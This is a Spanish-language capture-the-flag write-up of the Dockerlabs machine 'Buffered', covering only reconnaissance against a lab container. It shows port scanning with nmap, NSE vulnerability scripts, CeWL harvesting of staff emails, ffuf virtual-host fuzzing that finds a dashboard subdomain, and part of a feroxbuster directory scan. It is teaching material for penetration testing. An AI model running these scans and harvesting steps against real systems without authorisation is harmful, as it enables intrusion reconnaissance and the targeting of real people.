> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/buffered.md).

# Buffered

TAG -> Dockerlabs | CTF

<details>

<summary>Datos</summary>

* Máquina -> Buffered
* Dificultad -> Difícil
* Creador -> [rxffsec](https://rxffsec.github.io/)

</details>

{% hint style="info" %}
Nota: Este CTF servirá como ejemplo de la metodología que sigo durante el reconocimiento inicial de una prueba de penetración en un entorno controlado.
{% endhint %}

## <mark style="color:green;">Enumeración de servicio</mark>

Antes de iniciar los escaneos o las pruebas de vulnerabilidades, suelo comprobar la conectividad con la máquina objetivo. Para ello utilizo `ping` de la siguiente manera:

```bash
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.122 ms
RR: 	172.17.0.1
	172.17.0.2
	172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.122/0.122/0.122/0.000 ms
```

La prueba no presenta pérdida de paquetes, por lo que comprobamos que el objetivo responde a ICMP. El **TTL de 64** puede ser una pista de que utiliza Linux, pero **no identifica por sí solo el sistema operativo**: depende del valor inicial, del número de saltos y de posibles modificaciones. Como referencia, algunos sistemas Linux parten de 64 y muchos Windows de 128. Después realizo un escaneo inicial con mi script de Python sobre los puertos más comunes y, cuando corresponde, uno completo de los **65535 puertos TCP**. UDP requiere una evaluación independiente. Para organizar las evidencias utilizo mi función de Bash `mkt`, que crea las carpetas de trabajo mostradas a continuación.

```js
❯ which mkt | bat -l bash
──────┬──────────────────────────────────────────────────────────────────────
      │ STDIN
──────┼──────────────────────────────────────────────────────────────────────
   1  │ mkt () {
   2  │     mkdir -p recognition/{fuzzing,nmap} exploits/{exploitDB,GitHub} content
   3  │ }
──────┴───────────────────────────────────────────────────────────────────────
❯ mkt
❯ tree
.
├── content
├── exploits
│   ├── exploitDB
│   └── GitHub
└── recognition
    ├── fuzzing
    └── nmap

7 directories
```

La función crea **siete directorios** para ordenar el laboratorio. Dentro de `recognition` ejecuto el primer escaneo con el siguiente comando:

```python
PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt
```

**Resultado**

```js
[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):

  [!] Puerto 80 abierto!
  [+] Port: 1000 / 1000 

[+] Lista de puertos abiertos: [80]
[+] Información de servicios y versiones:

  [+] 80/tcp    http      nginx 1.24.0 (Ubuntu)

[+] Comprobando vulnerabilidades:

  [+] Tecnologías detectadas en HTTP:

        http://172.17.0.2:80 [301 Moved Permanently] Country[RESERVED][ZZ],
        HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)],
        IP[172.17.0.2],
        RedirectLocation[http://buffered.dl/],
        Title[301 Moved Permanently],
        nginx[1.24.0],

[*] Evidencia guardada en recognition.txt
```

En el resultado aparecen dos datos relevantes: el servicio HTTP redirige hacia **`buffered.dl`** y el puerto **80** es el único que encontramos abierto en esta prueba. Para que nuestra máquina resuelva ese nombre, agregaré la IP del objetivo y el dominio a `/etc/hosts`.

```bash
❯ v /etc/hosts
❯ bat /etc/hosts
───────┬──────────────────────────────────────────────────────────────────────
       │ File: /etc/hosts
───────┼──────────────────────────────────────────────────────────────────────
   1   │ # Host addresses
   2   │ 127.0.0.1  localhost
   3   │ 127.0.1.1  parrot
   4   │ 
   5   │ ::1        localhost ip6-localhost ip6-loopback
   6   │ ff02::1    ip6-allnodes
   7   │ ff02::2    ip6-allrouters
   8   │ 
   9   │ # Others
  10   │ 172.17.0.2  buffered.dl
───────┴──────────────────────────────────────────────────────────────────────
```

Así queda la entrada. Si queremos comprobar todos los puertos TCP, podemos realizar un escaneo con Nmap usando el siguiente comando:

```python
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts.txt
```

**Resultado**

```js
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:17 EST
Initiating ARP Ping Scan at 11:17
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 11:17, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:17
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
SYN Stealth Scan Timing: About 50.03% done; ETC: 11:20 (0:01:15 remaining)
Completed SYN Stealth Scan at 11:21, 212.31s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.35s latency).
Scanned at 2024-10-25 11:17:49 EST for 212s
Not shown: 52680 filtered tcp ports (no-response), 12854 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 212.50 seconds
           Raw packets sent: 124579 (5.481MB) | Rcvd: 12858 (514.320KB)
```

El archivo de formato **greppable**, guardado durante el escaneo, contiene la información que se muestra a continuación:

```python
❯ bat allPorts.txt -l java
───────┬───────────────────────────────────────────────────────────────────────
       │ File: allPorts.txt
───────┼───────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.94SVN scan initiated Fri Oct 25 11:17:49 2024 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts.txt 172.17.0.2
   2   │ # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
   3   │ Host: 172.17.0.2 () Status: Up
   4   │ Host: 172.17.0.2 () Ports: 80/open/tcp//http///
   5   │ # Nmap done at Fri Oct 25 11:21:22 2024 -- 1 IP address (1 host up) scanned in 212.50 seconds
───────┴───────────────────────────────────────────────────────────────────────
```

También podemos utilizar la función de Bash que aprendí de **s4vitar** para extraer los puertos del resultado de Nmap:

```bash
❯ which extractPorts | bat -l bash
───────┬──────────────────────────────────────────────────────────────────────
       │ STDIN
───────┼──────────────────────────────────────────────────────────────────────
   1   │ extractPorts () {
   2   │     ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" 
   3   │     ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" 
   4   │     echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
   5   │     echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
   6   │     echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
   7   │     echo $ports | tr -d '\n' | xclip -sel clip
   8   │     echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
   9   │     batcat extractPorts.tmp -l java
  10   │     rm extractPorts.tmp
  11   │ }
───────┴──────────────────────────────────────────────────────────────────────
```

Nos daría algo así:

```python
❯ extractPorts allPorts.txt
───────┬──────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 172.17.0.2
   5   │     [*] Open ports: 80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴──────────────────────────────────────────────────────────────────────
```

Esta función agiliza el trabajo cuando hay varios puertos abiertos, ya que extrae sus números para reutilizarlos. Ahora enumeraremos con más detalle el servicio del puerto **80**.

```python
nmap -sCV -p 80 172.17.0.2 -oN targeted.txt
```

**Resultado**

```js
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:27 EST
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.00042s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Buffered
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.76 seconds
```

La respuesta identifica **nginx** y permite conocer el título de la página. Continuaremos con un escaneo más detallado para reunir información adicional del servicio.

> <mark style="color:purple;">Recordatorio</mark>:
>
> Si el servicio utilizara el puerto **443** con TLS, podríamos emplear `openssl s_client` para examinar la negociación TLS y los certificados. Las redirecciones HTTP, en cambio, se comprueban realizando una petición HTTP; no se deducen únicamente del certificado.
>
> <mark style="color:yellow;">Ejemplo</mark>: `openssl s_client -connect <IP>:443`

```python
nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt
```

**Resultado**

```js
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:39 EST
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.063s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-headers: 
|   Server: nginx/1.24.0 (Ubuntu)
|   Date: Fri, 25 Oct 2024 16:39:43 GMT
|   Content-Type: text/html
|   Content-Length: 36718
|   Last-Modified: Sat, 03 Aug 2024 03:11:45 GMT
|   Connection: close
|   ETag: "66ad9ff1-8f6e"
|   Accept-Ranges: bytes
|   
|_  (Request type: HEAD)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   63.42 ms buffered.dl (172.17.0.2)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds
```

Este escaneo aporta más información y exporta los resultados en **XML**. Podemos convertir ese archivo a un formato HTML para consultarlo cómodamente desde el navegador:

```bash
❯ xsltproc xml > index.html
❯ rm xml
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Al abrir el archivo generado en el navegador local, podemos visualizar el informe con una presentación más clara.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FTbZQxTIDcd8HKL4oUicu%2Fimg_1_buffered.png?alt=media&amp;token=f523bb52-d76e-437b-8bf7-e0ffcab1c72f" alt=""><figcaption></figcaption></figure>

A continuación utilizaré otros scripts de **Nmap NSE** para buscar indicios de configuraciones inseguras o vulnerabilidades conocidas.

```python
nmap -p 80 --script vuln 172.17.0.2 -oN webScan.txt
```

**Resultado**

```js
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:49 EST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.00047s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=buffered.dl
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://buffered.dl:80/
|     Form id: 
|     Form action: forms/contact.php
|     
|     Path: http://buffered.dl:80/
|     Form id: 
|     Form action: forms/newsletter.php
|     
|     Path: http://buffered.dl:80/index.html
|     Form id: 
|     Form action: forms/contact.php
|     
|     Path: http://buffered.dl:80/index.html
|     Form id: 
|     Form action: forms/newsletter.php
|     
|     Path: http://buffered.dl:80/portfolio-details.html
|     Form id: 
|_    Form action: forms/newsletter.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  BID:49303  CVE:CVE-2011-3192
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|       https://www.tenable.com/plugins/nessus/55976
|       https://www.securityfocus.com/bid/49303
|_      https://seclists.org/fulldisclosure/2011/Aug/175
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 102.84 seconds
```

El resultado contiene hallazgos que merecen revisión, como posibles problemas de **CSRF**, rutas descubiertas durante la enumeración y una referencia a un **CVE de denegación de servicio**. **No debemos presentar automáticamente estos resultados como vulnerabilidades confirmadas**: hay que validar las condiciones del script y contrastar la versión y el producto afectados. Esto es especialmente importante porque el servicio identificado es **nginx** y una referencia asociada a otro servidor web podría ser un falso positivo. En un informe profesional distinguiríamos claramente los indicios de los hallazgos verificados.

## <mark style="color:green;">Enumeración por Fuzzing</mark>

Continuaré con la enumeración web mediante **fuzzing**. Primero crearé un proyecto en **Burp Suite** para registrar las solicitudes y respuestas. En **Target → Scope** añadiré `buffered.dl` y habilitaré la inclusión de subdominios para concentrar el análisis en los objetivos autorizados.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fty4Cal3q52y2jvWQ8K4Q%2Fimg_2_buffered.png?alt=media&amp;token=99223446-6b6e-42e0-abd2-c5c3215d5208" alt=""><figcaption></figcaption></figure>

Después abriré la aplicación desde el navegador para observar su funcionamiento.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FkuWztlCVbxI6G0jPjjGa%2Fimg_3_buffered.png?alt=media&amp;token=ec6dcc47-933a-494c-8652-e6b38a1bd572" alt=""><figcaption></figcaption></figure>

Con **Wappalyzer** podemos identificar tecnologías utilizadas por la página; sus resultados son pistas que conviene contrastar con otras evidencias.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FhYrXQkkOLVftMTukHn0P%2Fimg_4_buffered.png?alt=media&amp;token=1a59c00f-36c5-4351-8c29-47955ae46ed1" alt=""><figcaption></figcaption></figure>

Podríamos investigar vulnerabilidades asociadas a las tecnologías detectadas, pero en este laboratorio seguiré revisando el **Site map** de Burp Suite.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FaLR5sqqVX264kztNck70%2Fimg_5_buffered.png?alt=media&amp;token=3c92bdc4-3d3c-4941-9dfc-6228471bb20c" alt=""><figcaption></figcaption></figure>

El **Site map** va registrando las rutas y solicitudes observadas dentro del alcance configurado. Durante la navegación encuentro nombres de usuarios y direcciones de correo publicadas en la página. Para extraer palabras y correos del contenido web, utilizaré **CeWL**:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F7woFDZIQ7nD3GNRgJOnM%2Fimg_6_buffered.png?alt=media&amp;token=3b0aaa87-26b8-487d-addd-cb6cca4f4ca4" alt=""><figcaption></figcaption></figure>

Ejecutamos **CeWL** con los parámetros mostrados a continuación.

```python
cewl --email http://buffered.dl/ | grep -E "Email addresses found|---|@"
```

**Resultado**

```js
getoptlong was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
You can add getoptlong to your Gemfile or gemspec to silence this warning.
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

Email addresses found
---------------------
christine@buffered.dl
contact@example.com
info@buffered.dl
info@example.com
support@buffered.dl
tyler@buffered.dl
wilson@buffered.dl
```

De la salida me interesan las direcciones de correo, que guardaré en `correos.txt`. También recopilaré los nombres de usuario observados en `usuarios.txt`. Así tendremos información organizada para las próximas comprobaciones del laboratorio.

```python
❯ v usuarios.txt
❯ bat usuarios.txt
───────┬─────────────────────────────────────────────────────
       │ File: usuarios.txt
───────┼─────────────────────────────────────────────────────
   1   │ Tyler Miller
   2   │ Christine Ross
   3   │ Wilson Winters
───────┴─────────────────────────────────────────────────────
❯ bat correos.txt
───────┬─────────────────────────────────────────────────────
       │ File: correos.txt
───────┼─────────────────────────────────────────────────────
   1   │ Email addresses found
   2   │ ---------------------
   3   │ christine@buffered.dl
   4   │ contact@example.com
   5   │ info@buffered.dl
   6   │ info@example.com
   7   │ support@buffered.dl
   8   │ tyler@buffered.dl
   9   │ wilson@buffered.dl
───────┬─────────────────────────────────────────────────────
```

Reviso el código fuente de la página sin encontrar información especialmente relevante. Después comenzaré el **fuzzing de subdominios virtuales** con **ffuf**, modificando el encabezado `Host`. Esta prueba permite descubrir nombres que el servidor web reconoce aunque no estén publicados en DNS.

```python
❯ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://buffered.dl -H "Host: FUZZ.buffered.dl"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://buffered.dl
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.buffered.dl
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

localhost               [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 0ms]
pop                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 0ms]
ftp                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 27ms]
www                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 30ms]
webmail                 [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 41ms]
ns4                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 22ms]
smtp                    [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 18ms]
webdisk                 [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 32ms]
imap                    [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 14ms]
blog                    [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 29ms]
mail2                   [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 26ms]
ns3                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 30ms]
m                       [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 34ms]
```

Aparecen numerosos resultados que parecen falsos positivos porque comparten el mismo tamaño de respuesta (**36718 bytes**). Utilizaré `-fs` para filtrar ese tamaño. El filtro ayuda a reducir ruido, aunque **podría ocultar respuestas válidas de idéntica longitud**, por lo que es importante revisar su elección.

```python
❯ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://buffered.dl -H "Host: FUZZ.buffered.dl" -fs 36718

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://buffered.dl
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.buffered.dl
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 36718
________________________________________________

dashboard               [Status: 200, Size: 5666, Words: 1744, Lines: 129, Duration: 100ms]
:: Progress: [4989/4989] :: Job [1/1] :: 1428 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
```

Tras aplicar el filtro aparece un resultado interesante: el subdominio **`dashboard`**. Es un posible nuevo punto de análisis, todavía no una vulnerabilidad demostrada. Lo incorporaré a `/etc/hosts` para poder visitarlo.

```python
❯ bat /etc/hosts
───────┬─────────────────────────────────────────────────────────────────
       │ File: /etc/hosts
───────┼─────────────────────────────────────────────────────────────────
   1   │ # Host addresses
   2   │ 127.0.0.1  localhost
   3   │ 127.0.1.1  parrot
   4   │ 
   5   │ ::1        localhost ip6-localhost ip6-loopback
   6   │ ff02::1    ip6-allnodes
   7   │ ff02::2    ip6-allrouters
   8   │ 
   9   │ # Others
  10   │ 172.17.0.2  buffered.dl dashboard.buffered.dl
───────┴────────────────────────────────────────────────────────────────
```

En una auditoría también conviene conservar los resultados del fuzzing. Con la opción `-o`, **ffuf** guarda un archivo que podemos procesar posteriormente. En este ejemplo utilizaré JSON para extraer los nombres encontrados.

Podemos especificar el archivo `FFuf_subdominios.json`; el contenido exportado se muestra a continuación.

```json
❯ cat FFuf_subdominios.json | jq
{
  "commandline": "ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://buffered.dl -H Host: FUZZ.buffered.dl -fs 36718 -o FFuf_subdominios.json",
  "time": "2024-10-25T14:04:43-05:00",
  "results": [
    {
      "input": {
        "FFUFHASH": "faacf204",
        "FUZZ": "dashboard"
      },
      "position": 516,
      "status": 200,
      "length": 5666,
      "words": 1744,
      "lines": 129,
      "content-type": "text/html; charset=utf-8",
      "redirectlocation": "",
      "scraper": {},
      "duration": 126635898,
      "resultfile": "",
      "url": "http://buffered.dl",
      "host": "dashboard.buffered.dl"
    }
  ],
  "config": {
    "autocalibration": false,
    "autocalibration_keyword": "FUZZ",
    "autocalibration_perhost": false,
    "autocalibration_strategies": [
      "basic"
    ],
    "autocalibration_strings": [],
    "colors": true,
    "cmdline": "ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://buffered.dl -H Host: FUZZ.buffered.dl -fs 36718 -o FFuf_subdominios.json",
    "configfile": "",
    "postdata": "",
    "debuglog": "",
    "delay": {
      "value": "0.00"
    },
    "dirsearch_compatibility": false,
    "encoders": [],
    "extensions": [],
    "fmode": "or",
    "follow_redirects": false,
    "headers": {
      "Host": "FUZZ.buffered.dl"
    },
    "ignorebody": false,
    "ignore_wordlist_comments": false,
    "inputmode": "clusterbomb",
    "cmd_inputnum": 100,
    "inputproviders": [
      {
        "name": "wordlist",
        "keyword": "FUZZ",
        "value": "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt",
        "encoders": "",
        "template": ""
      }
    ],
    "inputshell": "",
    "json": false,
    "matchers": {
      "IsCalibrated": false,
      "Mutex": {},
      "Matchers": {
        "status": {
          "value": "200-299,301,302,307,401,403,405,500"
        }
      },
      "Filters": {
        "size": {
          "value": "36718"
        }
      },
      "PerDomainFilters": {}
    },
    "mmode": "or",
    "maxtime": 0,
    "maxtime_job": 0,
    "method": "GET",
    "noninteractive": false,
    "outputdirectory": "",
    "outputfile": "FFuf_subdominios.json",
    "outputformat": "json",
    "OutputSkipEmptyFile": false,
    "proxyurl": "",
    "quiet": false,
    "rate": 0,
    "raw": false,
    "recursion": false,
    "recursion_depth": 0,
    "recursion_strategy": "default",
    "replayproxyurl": "",
    "requestfile": "",
    "requestproto": "https",
    "scraperfile": "",
    "scrapers": "all",
    "sni": "",
    "stop_403": false,
    "stop_all": false,
    "stop_errors": false,
    "threads": 40,
    "timeout": 10,
    "url": "http://buffered.dl",
    "verbose": false,
    "wordlists": [
      "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt"
    ],
    "http2": false,
    "client-cert": "",
    "client-key": ""
  }
}
```

El JSON contiene distintas parejas **clave-valor**. Con `jq` filtraremos solamente los campos que necesitamos.

```bash
❯ cat FFuf_subdominios.json | jq -r '.results[].host'
dashboard.buffered.dl
```

La consulta devuelve el subdominio encontrado. Podemos incorporarlo tanto a `/etc/hosts` —como ya hicimos— como a un archivo `subdominios.txt` para futuras enumeraciones.

```bash
❯ bat subdominios.txt
───────┬─────────────────────────────────────────────────────────────────
       │ File: subdominios.txt
───────┼─────────────────────────────────────────────────────────────────
   1   │ buffered.dl
   2   │ dashboard.buffered.dl
───────┴─────────────────────────────────────────────────────────────────
```

Con el subdominio resuelto localmente, accederemos a **`dashboard.buffered.dl`** desde el navegador.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FbSJjiOr7CJWdzYCxM9Eg%2Fimg_7_buffered.png?alt=media&amp;token=93b57a7c-cb20-4127-9723-1fdeb8eb5b41" alt=""><figcaption></figcaption></figure>

Burp Suite registra las solicitudes en su **Site map** y podemos observar el aspecto de la página asociada al nuevo subdominio.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FUft4YRY31DMLBcObrWOk%2Fimg_8_buffered.png?alt=media&amp;token=7aeb8a2c-7d14-4adf-ba5c-6922305b4a6d" alt=""><figcaption></figcaption></figure>

Encontramos formularios y campos que podrían requerir pruebas adicionales. Antes de intentar explotarlos, seguiré con el reconocimiento de directorios mediante **Feroxbuster**:

> Nota:
>
> En otros entornos, una lista como `raft-medium-directories.txt` puede ser útil; también existen variantes de distinto tamaño. La elección debe responder a la tecnología y al alcance de la prueba, no solo al número de entradas.

```python
feroxbuster -u http://buffered.dl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --burp-replay -o Ferox_directorios.txt
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://buffered.dl
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🎥  Replay Proxy          │ http://127.0.0.1:8080
 📼  Replay Proxy Codes    │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
 🔎  Extract Links         │ true
 💾  Output File           │ Ferox_directorios.txt
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       20l      126w     9599c http://buffered.dl/assets/img/clients/client-7.png
200      GET       63l      721w    43571c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-1.jpg
200      GET      120l      618w    52670c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-8.jpg
200      GET       27l      117w     8294c http://buffered.dl/assets/img/clients/client-3.png
200      GET       41l      215w    16023c http://buffered.dl/assets/img/clients/client-8.png
200      GET       19l       97w     6012c http://buffered.dl/assets/img/logo.png
200      GET        1l      273w    28765c http://buffered.dl/assets/vendor/aos/aos.css
200      GET      179l      494w    31077c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-4.jpg
200      GET       32l      199w     9277c http://buffered.dl/assets/img/clients/client-1.png
200      GET       13l      182w    18431c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.css
200      GET        1l      268w    13800c http://buffered.dl/assets/vendor/aos/aos.js
200      GET      336l      711w    38530c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-9.jpg
200      GET       12l      119w     5485c http://buffered.dl/assets/vendor/imagesloaded/imagesloaded.pkgd.min.js
200      GET       85l      210w     2734c http://buffered.dl/assets/vendor/php-email-form/validate.js
200      GET     1578l     8338w   640477c http://buffered.dl/assets/img/cta-bg.jpg
301      GET        7l       12w      178c http://buffered.dl/assets => http://buffered.dl/assets/
200      GET       21l      128w     8850c http://buffered.dl/assets/img/clients/client-5.png
403      GET        7l       10w      162c http://buffered.dl/forms/
200      GET       29l      129w     7722c http://buffered.dl/assets/img/clients/client-2.png
200      GET       41l      146w     1341c http://buffered.dl/forms/contact.php
200      GET        1l      233w    13749c http://buffered.dl/assets/vendor/glightbox/css/glightbox.min.css
200      GET       20l      118w     5770c http://buffered.dl/assets/img/clients/client-6.png
200      GET      282l      749w    11510c http://buffered.dl/portfolio-details.html
200      GET      815l     2531w    36718c http://buffered.dl/index.html
